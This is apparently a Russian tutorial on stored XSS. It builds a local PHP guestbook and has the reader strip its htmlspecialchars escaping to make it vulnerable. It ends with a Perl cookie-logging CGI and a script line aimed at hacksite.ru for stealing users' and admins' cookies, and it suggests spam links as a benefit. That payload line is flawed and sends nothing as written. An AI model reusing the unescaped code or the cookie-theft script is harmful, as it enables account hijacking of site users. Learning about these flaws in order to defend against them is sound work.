XSS: Анатомия Cross Site Scripting. Атака на пользователя.
Что такое XSS?
XSS, согласно легендам древних Хакеров, переводится как межсайтовый скриптинг (Cross
Site Scripting). Внимательный читатель заметит, что абривиатуры XSS и CSS
несколько отличаются друг от друга, и вот с чем это связанно.
Задолго до обнаружения такого метода атаки как XSS (по крайней мере до того, как
XSS стали называть именно так), веб-дизайнеры ввели в обиход CSS стандарт
(Каскадные Таблицы Стилей), которые помогали им выпендриваться и делать свои
сайты не так, как у других, используя те же, собственно, html теги. Потому, при
классификации XSS атак, первую букву в слове Cross было решено заменить на X ("Cross"
также переводится как "Крест").
Для того, чтобы правильно понять материал, у Вас должны быть хотя бы малейшие
знания языка гипертекстовой разметки, ну и вообще примерное понимание общения
браузера и веб-сервера. Скажу также, что данный метод атаки в целом не сложен, и
вполне сносно излагается в рамках одной статьи. Если что-то будет "непониматься",
значит либо у вас мало мозгов, либо у вас мало пива.. Если без первого еще можно
и обойтись, то без второго даже не знаю... Кому как. =)
Суть Атаки:
Сразу расставим точки над "i" - XSS это не атака на сайт или удаленный сервер!
Это атака на пользователя этого сайта и не больше. Сайту в целом по барабану - в
случае, если Хакер смог провести XSS атаку, скрипт просто будет выдавать, вместе
с основным html контентом, задуманным автором сайта, некоторую
последовательность кода. Серверу от этого ни тепло, ни холодно. А вот
пользователю как раз может быть очень и очень жарко... Не врубился о чем речь?
Ну так правильно, мы еще ни словом не задели сам процесс проведения атаки. Читай
дальше.
К XSS - атакам сайт становится уязвим, когда один из его сценариев кушает всю
передаваемую строку, без всякой фильтрации на запрещенные символы. Что я имел в
виду под фразой "запрещенные символы"? Это знаки разметки, то есть
зарезервированные, "рабочие" символы языка html. Рассмотрим знак меньше или
больше (""). Как мы знаем, они используются в языке html для разметки и
обозначения тегов. И браузер интерпретирует их именно в этом контексте. Если мы
попробуем сказать браузеру нечто типа:
<p> В данном математическом примере очевидно, что b<a, и >c
В данном математическом примере очевидно, что bc. Ведь очевидно, что сочетание
символов "<" и "a" для него объявление гиперссылки. То есть в коде (по мнению
браузера) объявляется ссылка, и затем он ищет закрывающий тег, и находит его!
Как раз для этих целей в html есть альтернативное обозначение некоторых
символов, например:
& & амперсанд
< < знак "меньше"
> > знак "больше"
Где первой колонкой идет имя, затем код, вид, и описание.
Представим себе, что у нас есть гостевая книга, в которую может писать любой
желающий. Он вводит свое имя, текст сообщения, и жмет кнопку "отправить". Данные
из полей отправляются сценарию. Минимальная задача сценария такова: прочитать
данные из полей, и добавить в html страницу гостевой книги, например следующие
теги:
<h6> Name </h6>
<p>Text
Где заместо Name он подставит данные из поля "Имя", и вместо Text будет идти
собственно само сообщение. Что будет, если мы попробуем вставить в текст то
предложение, которое мы пробовали скормить браузеру (про a и b)? Он просто
добавит к странице гостевой книги текст как он есть и все. А открыв повторно ее
браузером мы столкнемся с такой же проблемой.
Кстати, еще забавно, если попробовать в строку поиска вбить:
<input type=button onclick=alert('Hack')>
Где же тут XSS-атака? Нету! Ведь код у нас совсем не вредоносный. Но если в
текст сообщения вставить нечто начинающееся со слов <script ... , то кажется
начинает пахнуть жареным. Не чувствуешь? Ну да, возможно слишком сложно. Поэтому
предлагаю рассмотреть все на практике.
Готовим полигон:
Для того, что бы рассмотреть все аспекты атаки, и, заодно, потренироваться,
предлагаю сделать две вещи:
- Во первых создать скрипт дырявой гостевой книги;
- Запустить сервер на локалхосте;
Ставим сервер:
Начнем со второго. Перейдем на сайт _http://www.denwer.ru/ и скачаем от туда
последнюю версию Денвера. Денвер - уникальная софтина, позволяющая в кратчайший
срок поднять на локалхосте вполне работоспособный сервер. Очень полезен
разработчикам, для локального теста скриптов.
С установкой проблем возникнуть не должно - программа сама инициализирует и
установит все необходимые модули.
Запустив денвер с помощью ярлыка на рабочем столе "Start Denwer" наберем в
адресной строке браузера строчку localhost. Если увидим некий ответ от Денвера -
значит сервер работает.
Если в процессе установки вы указали создать виртуальный диск под именем "Z", то
файлы/скрипты должны хранится в папке "Z:\home\localhost\www".
Поместим в данный каталог файл index.html с таким содержанием:
<html>
<head><title>My First Web-Page</title></head>
<body> Это работает! </body>
</html>
И набрав в браузере "http://localhost/index.html" мы убедимся, что все работает
как по маслу. Теперь перейдем к созданию гостевой книги.
Поднимаем гостевую книгу:
Во первых создадим в нашей корневой папочке (Z:\home\localhost\www) файл с
именем index.php, и запишем в него следующие строки:
<?php
include 'show_message.php';
include 'form.inc';
?>
Как следует из содержания, нужно создать еще два файла. Это form.inc:
<form name="gbook" target="_self" method="post" action="gbook_add.php">
Ваше имя: <br>
<input type="text" name="username"><br>
Ваш e-mail:<br>
<input type="text" name="email"><br>
Ваше сообщение:<br>
<textarea name="message" rows="6" cols="37"></textarea><br>
<input type="submit" name="send" value="Добавить сообщение">
</form>
И show_message.php:
<?php
$filename = "messages.dat";
$delitmer = "<|-|>";
$shablon = '
<table border="1" width="100%">
<tr>
<td width="100%">Имя пользователя: <a href="mailto:%email%">%username%</a></td>
</tr>
<tr>
<td width="100%">%message%</td>
</tr>
<tr>
<td width="100%" align="right">%add_date%</td>
</tr>
</table>
<br>';
$data = @file($filename);
foreach($data as $val)
{
list($username, $email, $message, $date) = explode($delitmer, trim($val));
$tmp_message = str_replace("%username%", $username, $shablon);
$tmp_message = str_replace("%email%", $email, $tmp_message);
$tmp_message = str_replace("%message%", $message, $tmp_message);
$tmp_message = str_replace("%add_date%", $date, $tmp_message);
echo $tmp_message;
}
?>
Файл form.inc просто выводит html-форму для добавления нового сообщения. А
скрипт show_message.php выводит в index.php все сообщения из файла messages.dat,
который мы должны тоже создать, и оставить пустым. Самый главный скрипт - скрипт
добавления сообщения в наш файл, имитирующий базу данных, будет называться
gbook_add.php, и иметь такой вид:
<?php
$filename = "messages.dat";
$delitmer = "<|-|>";
$username_limit = 50;
$email_limit = 80;
$message_limit = 500;
if (isset($_POST))
{
if (isset($_POST['username']) & isset($_POST['email']) & isset($_POST['message']))
{
if (((strlen($_POST['username'])>0) & (strlen($_POST['username'])<=$username_limit))
&
((strlen($_POST['email'])>0) & (strlen($_POST['email'])<=$email_limit)) &
((strlen($_POST['message'])>0) & (strlen($_POST['message'])<=$message_limit)))
{
$username = str_replace("\r\n", "<br>", htmlspecialchars($_POST['username']));
$email = str_replace("\r\n", "<br>", htmlspecialchars($_POST['email']));
$message = str_replace("\r\n", "<br>", htmlspecialchars($_POST['message']));
$arr = array($username, $email, $message, date("d.m.Y"));
$new_message = implode($delitmer, $arr) . "\r\n";
$messages_arr = @file($filename);
$messages_str = $new_message;
$messages_str .= trim(implode("", $messages_arr));
$fp = fopen($filename, "w+");
fwrite($fp, $messages_str);
fclose($fp);
echo "<META HTTP-EQUIV=\"Refresh\" CONTENT=\"2; URL=index.php\">";
echo "Ваше сообщение добавленно!";
}
else
{
echo "Ошибка!!!<br>Не все данные введенны, либо в одном из полей формы слишком
мало символов.";
}
}
}
?>
Все! Гостевая книга готова... Если запутался - резюмирую:
В папке Z:\home\localhost\www у нас лежит 5 файлов:
gbook_add.php - добавляет сообщения, при нажатии кнопки "Добавить";
messages.dat - пустой файл, в нем будут храниться сообщения;
show_message.php - скрипт выводящий сообщения из файла messages.dat;
form.inc - форма для добавления сообщения;
index.php - индексная страница;
Проверим работоспособность скрипта, переходим по ссылке http://localhost/index.php
и пробуем добавить сообщение. Имя, мыло пишем абсолютно любое, а вот сообщение
добавим такого типа:
Всем <h1>привет</h1>!
Жмем добавить, обновляем страницу и видим, что ничего собственно не произошло...
"Запрещенные" символы у нас отображаются, как ни в чем не бывало, и слово
"привет" не отличается от слова "всем". Это произошло из-за того, что в скрипте
присутствует примитивная защита от такого рода атаки. Откроем скрипт
gbook_add.php и найдем там строки
$username = str_replace("\r\n", "<br>", htmlspecialchars($_POST['username']));
$email = str_replace("\r\n", "<br>", htmlspecialchars($_POST['email']));
$message = str_replace("\r\n", "<br>", htmlspecialchars($_POST['message']));
Удалим из каждой подстроку "htmlspecialchars", то есть выглядеть они у нас будут
так:
$username = str_replace("\r\n", "<br>", ($_POST['username']));
$email = str_replace("\r\n", "<br>", ($_POST['email']));
$message = str_replace("\r\n", "<br>", ($_POST['message']));
Теперь добавим тоже самое сообщение! Вот. Теперь получилось... мы вовсе не видим
тегов
<h1>
и
</h1>
, зато заметно, что браузер вполне нормально их интерпретировал.
Заключение. Что осталось за кадром?
Я не показал тебе, как из XSS уязвимости делать себе выгоду. Все эти теги, в
сущности ничем не полезны. А полезных моментов может быть несколько:
Ссылки: Мы можем поставить _прямую_ ссылку на наш ресурс в гостевой книге, да
еще с указанием каким угодно title.
Прямая ссылка может повышать наш PR и тИЦ, и вообще пойдет на пользу. Дырявые
гостевые отличное подспорье для различных спам сервисов.
Переадресации, всплывающие окна, на наш сайт.
Кража кукисов: Написав небольшой cgi скрипт, к примеру, мы можем воровать куки
пользователей, в том числе и администраторов портала. Выглядеть это может так:
#!/usr/bin/perl -w
# открываем файл cookies.txt для добавления инфы
open COOKIES,">>../cookies.txt";
print "Content-Type: text/html\n\n";
# добавляем в файл метку, благодаря которой можно
# увидеть, где начинается похищенный кукис
print COOKIES "----------- new cookie -----------\n";
# записываем переменную окружения QUERY_STRING,
# содержащую параметры, передаваемые скрипту,
# через которые хакер будет передавать данные кукиса
print COOKIES "$ENV{'QUERY_STRING'}\n";
# записываем в файл метку «конец кукиса»
print COOKIES "---------- end of cookie ---------\n\n";
# закрываем cookies.txt, записанная инфа сохраняется
close COOKIES;
Тогда в тексте письма нужно прописать нечто типа
<script>value='http://hacksite.ru/cookie.cgi?' + document.cookie;</script>
Куки будут наши!
-----
В общем место для фантазии есть. Я всего лишь хотел указать разработчикам
веб-приложений на самые-самые распространенные ошибки при написании скриптов.
Остерегайтесь их, и удачи...

